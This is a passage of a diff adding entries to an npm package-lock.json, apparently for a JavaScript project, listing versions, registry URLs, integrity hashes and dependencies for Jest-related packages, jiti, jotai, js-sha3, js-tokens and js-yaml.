18145+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
18146+ "license": "MIT",
18147+ "engines": {
18148+ "node": ">=8.6"
18149+ },
18150+ "funding": {
18151+ "url": "https://github.com/sponsors/jonschlinkert"
18152+ }
18153+ },
18154+ "node_modules/jest-util": {
18155+ "version": "30.2.0",
18156+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz",
18157+ "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==",
18158+ "license": "MIT",
18159+ "dependencies": {
18160+ "@jest/types": "30.2.0",
18161+ "@types/node": "*",
18162+ "chalk": "^4.1.2",
18163+ "ci-info": "^4.2.0",
18164+ "graceful-fs": "^4.2.11",
18165+ "picomatch": "^4.0.2"
18166+ },
18167+ "engines": {
18168+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
18169+ }
18170+ },
18171+ "node_modules/jest-util/node_modules/chalk": {
18172+ "version": "4.1.2",
18173+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
18174+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
18175+ "license": "MIT",
18176+ "dependencies": {
18177+ "ansi-styles": "^4.1.0",
18178+ "supports-color": "^7.1.0"
18179+ },
18180+ "engines": {
18181+ "node": ">=10"
18182+ },
18183+ "funding": {
18184+ "url": "https://github.com/chalk/chalk?sponsor=1"
18185+ }
18186+ },
18187+ "node_modules/jest-validate": {
18188+ "version": "27.5.1",
18189+ "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz",
18190+ "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==",
18191+ "license": "MIT",
18192+ "dependencies": {
18193+ "@jest/types": "^27.5.1",
18194+ "camelcase": "^6.2.0",
18195+ "chalk": "^4.0.0",
18196+ "jest-get-type": "^27.5.1",
18197+ "leven": "^3.1.0",
18198+ "pretty-format": "^27.5.1"
18199+ },
18200+ "engines": {
18201+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18202+ }
18203+ },
18204+ "node_modules/jest-validate/node_modules/@jest/types": {
18205+ "version": "27.5.1",
18206+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
18207+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
18208+ "license": "MIT",
18209+ "dependencies": {
18210+ "@types/istanbul-lib-coverage": "^2.0.0",
18211+ "@types/istanbul-reports": "^3.0.0",
18212+ "@types/node": "*",
18213+ "@types/yargs": "^16.0.0",
18214+ "chalk": "^4.0.0"
18215+ },
18216+ "engines": {
18217+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18218+ }
18219+ },
18220+ "node_modules/jest-validate/node_modules/@types/yargs": {
18221+ "version": "16.0.11",
18222+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
18223+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
18224+ "license": "MIT",
18225+ "dependencies": {
18226+ "@types/yargs-parser": "*"
18227+ }
18228+ },
18229+ "node_modules/jest-validate/node_modules/chalk": {
18230+ "version": "4.1.2",
18231+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
18232+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
18233+ "license": "MIT",
18234+ "dependencies": {
18235+ "ansi-styles": "^4.1.0",
18236+ "supports-color": "^7.1.0"
18237+ },
18238+ "engines": {
18239+ "node": ">=10"
18240+ },
18241+ "funding": {
18242+ "url": "https://github.com/chalk/chalk?sponsor=1"
18243+ }
18244+ },
18245+ "node_modules/jest-watch-typeahead": {
18246+ "version": "1.1.0",
18247+ "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz",
18248+ "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==",
18249+ "license": "MIT",
18250+ "dependencies": {
18251+ "ansi-escapes": "^4.3.1",
18252+ "chalk": "^4.0.0",
18253+ "jest-regex-util": "^28.0.0",
18254+ "jest-watcher": "^28.0.0",
18255+ "slash": "^4.0.0",
18256+ "string-length": "^5.0.1",
18257+ "strip-ansi": "^7.0.1"
18258+ },
18259+ "engines": {
18260+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
18261+ },
18262+ "peerDependencies": {
18263+ "jest": "^27.0.0 || ^28.0.0"
18264+ }
18265+ },
18266+ "node_modules/jest-watch-typeahead/node_modules/@jest/console": {
18267+ "version": "28.1.3",
18268+ "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz",
18269+ "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==",
18270+ "license": "MIT",
18271+ "dependencies": {
18272+ "@jest/types": "^28.1.3",
18273+ "@types/node": "*",
18274+ "chalk": "^4.0.0",
18275+ "jest-message-util": "^28.1.3",
18276+ "jest-util": "^28.1.3",
18277+ "slash": "^3.0.0"
18278+ },
18279+ "engines": {
18280+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18281+ }
18282+ },
18283+ "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": {
18284+ "version": "3.0.0",
18285+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
18286+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
18287+ "license": "MIT",
18288+ "engines": {
18289+ "node": ">=8"
18290+ }
18291+ },
18292+ "node_modules/jest-watch-typeahead/node_modules/@jest/schemas": {
18293+ "version": "28.1.3",
18294+ "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz",
18295+ "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==",
18296+ "license": "MIT",
18297+ "dependencies": {
18298+ "@sinclair/typebox": "^0.24.1"
18299+ },
18300+ "engines": {
18301+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18302+ }
18303+ },
18304+ "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": {
18305+ "version": "28.1.3",
18306+ "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz",
18307+ "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==",
18308+ "license": "MIT",
18309+ "dependencies": {
18310+ "@jest/console": "^28.1.3",
18311+ "@jest/types": "^28.1.3",
18312+ "@types/istanbul-lib-coverage": "^2.0.0",
18313+ "collect-v8-coverage": "^1.0.0"
18314+ },
18315+ "engines": {
18316+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18317+ }
18318+ },
18319+ "node_modules/jest-watch-typeahead/node_modules/@jest/types": {
18320+ "version": "28.1.3",
18321+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz",
18322+ "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==",
18323+ "license": "MIT",
18324+ "dependencies": {
18325+ "@jest/schemas": "^28.1.3",
18326+ "@types/istanbul-lib-coverage": "^2.0.0",
18327+ "@types/istanbul-reports": "^3.0.0",
18328+ "@types/node": "*",
18329+ "@types/yargs": "^17.0.8",
18330+ "chalk": "^4.0.0"
18331+ },
18332+ "engines": {
18333+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18334+ }
18335+ },
18336+ "node_modules/jest-watch-typeahead/node_modules/@sinclair/typebox": {
18337+ "version": "0.24.51",
18338+ "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.51.tgz",
18339+ "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==",
18340+ "license": "MIT"
18341+ },
18342+ "node_modules/jest-watch-typeahead/node_modules/chalk": {
18343+ "version": "4.1.2",
18344+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
18345+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
18346+ "license": "MIT",
18347+ "dependencies": {
18348+ "ansi-styles": "^4.1.0",
18349+ "supports-color": "^7.1.0"
18350+ },
18351+ "engines": {
18352+ "node": ">=10"
18353+ },
18354+ "funding": {
18355+ "url": "https://github.com/chalk/chalk?sponsor=1"
18356+ }
18357+ },
18358+ "node_modules/jest-watch-typeahead/node_modules/ci-info": {
18359+ "version": "3.9.0",
18360+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
18361+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
18362+ "funding": [
18363+ {
18364+ "type": "github",
18365+ "url": "https://github.com/sponsors/sibiraj-s"
18366+ }
18367+ ],
18368+ "license": "MIT",
18369+ "engines": {
18370+ "node": ">=8"
18371+ }
18372+ },
18373+ "node_modules/jest-watch-typeahead/node_modules/emittery": {
18374+ "version": "0.10.2",
18375+ "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz",
18376+ "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==",
18377+ "license": "MIT",
18378+ "engines": {
18379+ "node": ">=12"
18380+ },
18381+ "funding": {
18382+ "url": "https://github.com/sindresorhus/emittery?sponsor=1"
18383+ }
18384+ },
18385+ "node_modules/jest-watch-typeahead/node_modules/jest-message-util": {
18386+ "version": "28.1.3",
18387+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz",
18388+ "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==",
18389+ "license": "MIT",
18390+ "dependencies": {
18391+ "@babel/code-frame": "^7.12.13",
18392+ "@jest/types": "^28.1.3",
18393+ "@types/stack-utils": "^2.0.0",
18394+ "chalk": "^4.0.0",
18395+ "graceful-fs": "^4.2.9",
18396+ "micromatch": "^4.0.4",
18397+ "pretty-format": "^28.1.3",
18398+ "slash": "^3.0.0",
18399+ "stack-utils": "^2.0.3"
18400+ },
18401+ "engines": {
18402+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18403+ }
18404+ },
18405+ "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": {
18406+ "version": "3.0.0",
18407+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
18408+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
18409+ "license": "MIT",
18410+ "engines": {
18411+ "node": ">=8"
18412+ }
18413+ },
18414+ "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": {
18415+ "version": "28.0.2",
18416+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz",
18417+ "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==",
18418+ "license": "MIT",
18419+ "engines": {
18420+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18421+ }
18422+ },
18423+ "node_modules/jest-watch-typeahead/node_modules/jest-util": {
18424+ "version": "28.1.3",
18425+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz",
18426+ "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==",
18427+ "license": "MIT",
18428+ "dependencies": {
18429+ "@jest/types": "^28.1.3",
18430+ "@types/node": "*",
18431+ "chalk": "^4.0.0",
18432+ "ci-info": "^3.2.0",
18433+ "graceful-fs": "^4.2.9",
18434+ "picomatch": "^2.2.3"
18435+ },
18436+ "engines": {
18437+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18438+ }
18439+ },
18440+ "node_modules/jest-watch-typeahead/node_modules/jest-watcher": {
18441+ "version": "28.1.3",
18442+ "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz",
18443+ "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==",
18444+ "license": "MIT",
18445+ "dependencies": {
18446+ "@jest/test-result": "^28.1.3",
18447+ "@jest/types": "^28.1.3",
18448+ "@types/node": "*",
18449+ "ansi-escapes": "^4.2.1",
18450+ "chalk": "^4.0.0",
18451+ "emittery": "^0.10.2",
18452+ "jest-util": "^28.1.3",
18453+ "string-length": "^4.0.1"
18454+ },
18455+ "engines": {
18456+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18457+ }
18458+ },
18459+ "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": {
18460+ "version": "4.0.2",
18461+ "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
18462+ "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
18463+ "license": "MIT",
18464+ "dependencies": {
18465+ "char-regex": "^1.0.2",
18466+ "strip-ansi": "^6.0.0"
18467+ },
18468+ "engines": {
18469+ "node": ">=10"
18470+ }
18471+ },
18472+ "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": {
18473+ "version": "6.0.1",
18474+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
18475+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
18476+ "license": "MIT",
18477+ "dependencies": {
18478+ "ansi-regex": "^5.0.1"
18479+ },
18480+ "engines": {
18481+ "node": ">=8"
18482+ }
18483+ },
18484+ "node_modules/jest-watch-typeahead/node_modules/picomatch": {
18485+ "version": "2.3.1",
18486+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
18487+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
18488+ "license": "MIT",
18489+ "engines": {
18490+ "node": ">=8.6"
18491+ },
18492+ "funding": {
18493+ "url": "https://github.com/sponsors/jonschlinkert"
18494+ }
18495+ },
18496+ "node_modules/jest-watch-typeahead/node_modules/pretty-format": {
18497+ "version": "28.1.3",
18498+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz",
18499+ "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==",
18500+ "license": "MIT",
18501+ "dependencies": {
18502+ "@jest/schemas": "^28.1.3",
18503+ "ansi-regex": "^5.0.1",
18504+ "ansi-styles": "^5.0.0",
18505+ "react-is": "^18.0.0"
18506+ },
18507+ "engines": {
18508+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
18509+ }
18510+ },
18511+ "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": {
18512+ "version": "5.2.0",
18513+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
18514+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
18515+ "license": "MIT",
18516+ "engines": {
18517+ "node": ">=10"
18518+ },
18519+ "funding": {
18520+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
18521+ }
18522+ },
18523+ "node_modules/jest-watch-typeahead/node_modules/react-is": {
18524+ "version": "18.3.1",
18525+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
18526+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
18527+ "license": "MIT"
18528+ },
18529+ "node_modules/jest-watch-typeahead/node_modules/slash": {
18530+ "version": "4.0.0",
18531+ "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
18532+ "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
18533+ "license": "MIT",
18534+ "engines": {
18535+ "node": ">=12"
18536+ },
18537+ "funding": {
18538+ "url": "https://github.com/sponsors/sindresorhus"
18539+ }
18540+ },
18541+ "node_modules/jest-watch-typeahead/node_modules/string-length": {
18542+ "version": "5.0.1",
18543+ "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz",
18544+ "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==",
18545+ "license": "MIT",
18546+ "dependencies": {
18547+ "char-regex": "^2.0.0",
18548+ "strip-ansi": "^7.0.1"
18549+ },
18550+ "engines": {
18551+ "node": ">=12.20"
18552+ },
18553+ "funding": {
18554+ "url": "https://github.com/sponsors/sindresorhus"
18555+ }
18556+ },
18557+ "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": {
18558+ "version": "2.0.2",
18559+ "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.2.tgz",
18560+ "integrity": "sha512-cbGOjAptfM2LVmWhwRFHEKTPkLwNddVmuqYZQt895yXwAsWsXObCG+YN4DGQ/JBtT4GP1a1lPPdio2z413LmTg==",
18561+ "license": "MIT",
18562+ "engines": {
18563+ "node": ">=12.20"
18564+ }
18565+ },
18566+ "node_modules/jest-watch-typeahead/node_modules/strip-ansi": {
18567+ "version": "7.1.2",
18568+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz",
18569+ "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==",
18570+ "license": "MIT",
18571+ "dependencies": {
18572+ "ansi-regex": "^6.0.1"
18573+ },
18574+ "engines": {
18575+ "node": ">=12"
18576+ },
18577+ "funding": {
18578+ "url": "https://github.com/chalk/strip-ansi?sponsor=1"
18579+ }
18580+ },
18581+ "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": {
18582+ "version": "6.2.2",
18583+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz",
18584+ "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==",
18585+ "license": "MIT",
18586+ "engines": {
18587+ "node": ">=12"
18588+ },
18589+ "funding": {
18590+ "url": "https://github.com/chalk/ansi-regex?sponsor=1"
18591+ }
18592+ },
18593+ "node_modules/jest-watcher": {
18594+ "version": "27.5.1",
18595+ "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz",
18596+ "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==",
18597+ "license": "MIT",
18598+ "dependencies": {
18599+ "@jest/test-result": "^27.5.1",
18600+ "@jest/types": "^27.5.1",
18601+ "@types/node": "*",
18602+ "ansi-escapes": "^4.2.1",
18603+ "chalk": "^4.0.0",
18604+ "jest-util": "^27.5.1",
18605+ "string-length": "^4.0.1"
18606+ },
18607+ "engines": {
18608+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18609+ }
18610+ },
18611+ "node_modules/jest-watcher/node_modules/@jest/types": {
18612+ "version": "27.5.1",
18613+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
18614+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
18615+ "license": "MIT",
18616+ "dependencies": {
18617+ "@types/istanbul-lib-coverage": "^2.0.0",
18618+ "@types/istanbul-reports": "^3.0.0",
18619+ "@types/node": "*",
18620+ "@types/yargs": "^16.0.0",
18621+ "chalk": "^4.0.0"
18622+ },
18623+ "engines": {
18624+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18625+ }
18626+ },
18627+ "node_modules/jest-watcher/node_modules/@types/yargs": {
18628+ "version": "16.0.11",
18629+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
18630+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
18631+ "license": "MIT",
18632+ "dependencies": {
18633+ "@types/yargs-parser": "*"
18634+ }
18635+ },
18636+ "node_modules/jest-watcher/node_modules/chalk": {
18637+ "version": "4.1.2",
18638+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
18639+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
18640+ "license": "MIT",
18641+ "dependencies": {
18642+ "ansi-styles": "^4.1.0",
18643+ "supports-color": "^7.1.0"
18644+ },
18645+ "engines": {
18646+ "node": ">=10"
18647+ },
18648+ "funding": {
18649+ "url": "https://github.com/chalk/chalk?sponsor=1"
18650+ }
18651+ },
18652+ "node_modules/jest-watcher/node_modules/ci-info": {
18653+ "version": "3.9.0",
18654+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
18655+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
18656+ "funding": [
18657+ {
18658+ "type": "github",
18659+ "url": "https://github.com/sponsors/sibiraj-s"
18660+ }
18661+ ],
18662+ "license": "MIT",
18663+ "engines": {
18664+ "node": ">=8"
18665+ }
18666+ },
18667+ "node_modules/jest-watcher/node_modules/jest-util": {
18668+ "version": "27.5.1",
18669+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
18670+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
18671+ "license": "MIT",
18672+ "dependencies": {
18673+ "@jest/types": "^27.5.1",
18674+ "@types/node": "*",
18675+ "chalk": "^4.0.0",
18676+ "ci-info": "^3.2.0",
18677+ "graceful-fs": "^4.2.9",
18678+ "picomatch": "^2.2.3"
18679+ },
18680+ "engines": {
18681+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18682+ }
18683+ },
18684+ "node_modules/jest-watcher/node_modules/picomatch": {
18685+ "version": "2.3.1",
18686+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
18687+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
18688+ "license": "MIT",
18689+ "engines": {
18690+ "node": ">=8.6"
18691+ },
18692+ "funding": {
18693+ "url": "https://github.com/sponsors/jonschlinkert"
18694+ }
18695+ },
18696+ "node_modules/jest-worker": {
18697+ "version": "27.5.1",
18698+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
18699+ "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
18700+ "license": "MIT",
18701+ "dependencies": {
18702+ "@types/node": "*",
18703+ "merge-stream": "^2.0.0",
18704+ "supports-color": "^8.0.0"
18705+ },
18706+ "engines": {
18707+ "node": ">= 10.13.0"
18708+ }
18709+ },
18710+ "node_modules/jest-worker/node_modules/supports-color": {
18711+ "version": "8.1.1",
18712+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
18713+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
18714+ "license": "MIT",
18715+ "dependencies": {
18716+ "has-flag": "^4.0.0"
18717+ },
18718+ "engines": {
18719+ "node": ">=10"
18720+ },
18721+ "funding": {
18722+ "url": "https://github.com/chalk/supports-color?sponsor=1"
18723+ }
18724+ },
18725+ "node_modules/jiti": {
18726+ "version": "1.21.7",
18727+ "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",
18728+ "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==",
18729+ "license": "MIT",
18730+ "bin": {
18731+ "jiti": "bin/jiti.js"
18732+ }
18733+ },
18734+ "node_modules/jotai": {
18735+ "version": "2.16.0",
18736+ "resolved": "https://registry.npmjs.org/jotai/-/jotai-2.16.0.tgz",
18737+ "integrity": "sha512-NmkwPBet0SHQ28GBfEb10sqnbVOYyn6DL4iazZgGRDUKxSWL0iqcm+IK4TqTSFC2ixGk+XX2e46Wbv364a3cKg==",
18738+ "license": "MIT",
18739+ "engines": {
18740+ "node": ">=12.20.0"
18741+ },
18742+ "peerDependencies": {
18743+ "@babel/core": ">=7.0.0",
18744+ "@babel/template": ">=7.0.0",
18745+ "@types/react": ">=17.0.0",
18746+ "react": ">=17.0.0"
18747+ },
18748+ "peerDependenciesMeta": {
18749+ "@babel/core": {
18750+ "optional": true
18751+ },
18752+ "@babel/template": {
18753+ "optional": true
18754+ },
18755+ "@types/react": {
18756+ "optional": true
18757+ },
18758+ "react": {
18759+ "optional": true
18760+ }
18761+ }
18762+ },
18763+ "node_modules/js-sha3": {
18764+ "version": "0.8.0",
18765+ "resolved": "https://registry.npmjs.org/js-sha3/-/js-sha3-0.8.0.tgz",
18766+ "integrity": "sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==",
18767+ "license": "MIT"
18768+ },
18769+ "node_modules/js-tokens": {
18770+ "version": "4.0.0",
18771+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
18772+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
18773+ "license": "MIT"
18774+ },
18775+ "node_modules/js-yaml": {
18776+ "version": "3.14.2",
18777+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
